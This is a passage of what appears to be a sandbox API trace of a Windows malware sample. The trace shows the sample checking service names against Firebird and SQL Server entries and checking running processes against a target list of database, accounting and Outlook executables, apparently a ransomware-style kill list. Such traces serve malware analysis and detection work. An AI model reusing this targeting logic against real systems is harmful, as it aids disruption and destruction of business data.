lpString2="PlugPlay") returned -1 [0072.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0072.760] lstrlenW (lpString="Power") returned 5 [0072.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0072.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0072.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0072.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0072.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0072.760] lstrlenW (lpString="ProfSvc") returned 7 [0072.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0072.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0072.761] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0072.761] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0072.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0072.761] lstrlenW (lpString="RpcEptMapper") returned 12 [0072.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0072.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0072.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0072.761] lstrlenW (lpString="RpcSs") returned 5 [0072.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0072.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0072.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0072.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0072.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0072.761] lstrlenW (lpString="SamSs") returned 5 [0072.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0072.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0072.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0072.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0072.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0072.762] lstrlenW (lpString="Schedule") returned 8 [0072.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0072.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0072.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0072.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0072.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0072.762] lstrlenW (lpString="SENS") returned 4 [0072.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0072.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0072.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0072.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0072.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0072.763] lstrlenW (lpString="ShellHWDetection") returned 16 [0072.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.763] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0072.763] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0072.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0072.763] lstrlenW (lpString="Spooler") returned 7 [0072.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0072.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0072.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0072.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0072.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0072.763] lstrlenW (lpString="SysMain") returned 7 [0072.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0072.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0072.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0072.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0072.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0072.764] lstrlenW (lpString="Themes") returned 6 [0072.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0072.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0072.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0072.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0072.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0072.764] lstrlenW (lpString="TrkWks") returned 6 [0072.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0072.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0072.764] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0072.764] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0072.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0072.765] lstrlenW (lpString="UxSms") returned 5 [0072.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0072.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0072.765] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0072.765] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0072.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0072.765] lstrlenW (lpString="WdiServiceHost") returned 14 [0072.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0072.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0072.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0072.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0072.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0072.765] lstrlenW (lpString="WdiSystemHost") returned 13 [0072.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0072.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0072.766] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0072.766] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0072.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0072.766] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0072.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0072.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0072.766] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0072.766] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0072.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0072.766] lstrlenW (lpString="Winmgmt") returned 7 [0072.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0072.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0072.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0072.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0072.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0072.767] lstrlenW (lpString="WPDBusEnum") returned 10 [0072.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0072.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0072.767] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0072.767] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0072.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0072.768] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635468 | out: hHeap=0x5b0000) returned 1 [0072.768] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x150 [0072.778] Process32FirstW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.779] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0072.780] lstrlenW (lpString="System") returned 6 [0072.780] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0072.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0072.780] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0072.780] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0072.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0072.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0072.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0072.780] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0072.780] lstrlenW (lpString="smss.exe") returned 8 [0072.781] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0072.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0072.781] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0072.781] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0072.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0072.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0072.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0072.781] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0072.825] lstrlenW (lpString="csrss.exe") returned 9 [0072.825] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0072.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0072.826] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0072.826] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0072.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0072.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0072.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0072.826] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0072.827] lstrlenW (lpString="wininit.exe") returned 11 [0072.827] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0072.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0072.827] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0072.827] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0072.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0072.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0072.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0072.828] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0072.829] lstrlenW (lpString="csrss.exe") returned 9 [0072.829] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0072.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0072.829] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0072.829] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0072.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0072.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0072.830] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0072.831] lstrlenW (lpString="winlogon.exe") returned 12 [0072.831] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0072.832] lstrlenW (lpString="services.exe") returned 12 [0072.832] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0072.833] lstrlenW (lpString="lsass.exe") returned 9 [0072.833] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0072.834] lstrlenW (lpString="lsm.exe") returned 7 [0072.834] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.835] lstrlenW (lpString="svchost.exe") returned 11 [0072.835] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.836] lstrlenW (lpString="svchost.exe") returned 11 [0072.836] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.837] lstrlenW (lpString="svchost.exe") returned 11 [0072.837] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.838] lstrlenW (lpString="svchost.exe") returned 11 [0072.838] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.839] lstrlenW (lpString="svchost.exe") returned 11 [0072.839] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0072.840] lstrlenW (lpString="audiodg.exe") returned 11 [0072.840] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.841] lstrlenW (lpString="svchost.exe") returned 11 [0072.841] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.843] lstrlenW (lpString="svchost.exe") returned 11 [0072.843] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0072.844] lstrlenW (lpString="dwm.exe") returned 7 [0072.844] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0072.845] lstrlenW (lpString="explorer.exe") returned 12 [0072.846] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0072.847] lstrlenW (lpString="spoolsv.exe") returned 11 [0072.847] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.848] lstrlenW (lpString="svchost.exe") returned 11 [0072.848] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.849] lstrlenW (lpString="taskhost.exe") returned 12 [0072.849] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0072.850] lstrlenW (lpString="taskeng.exe") returned 11 [0072.850] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0072.851] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0072.851] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0072.853] lstrlenW (lpString="while damaged.exe") returned 17 [0072.853] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0072.854] lstrlenW (lpString="hosted_thee.exe") returned 15 [0072.854] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0072.855] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0072.855] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0072.856] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0072.856] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0072.857] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0072.857] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0072.858] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0072.858] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0072.865] lstrlenW (lpString="l_greene_go.exe") returned 15 [0072.865] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0073.104] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0073.104] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0073.105] lstrlenW (lpString="spots wm.exe") returned 12 [0073.105] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0073.106] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0073.106] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0073.107] lstrlenW (lpString="lp imagination.exe") returned 18 [0073.107] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0073.108] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0073.108] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0073.109] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0073.109] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0073.110] lstrlenW (lpString="voluntary teach.exe") returned 19 [0073.110] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0073.111] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0073.111] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, 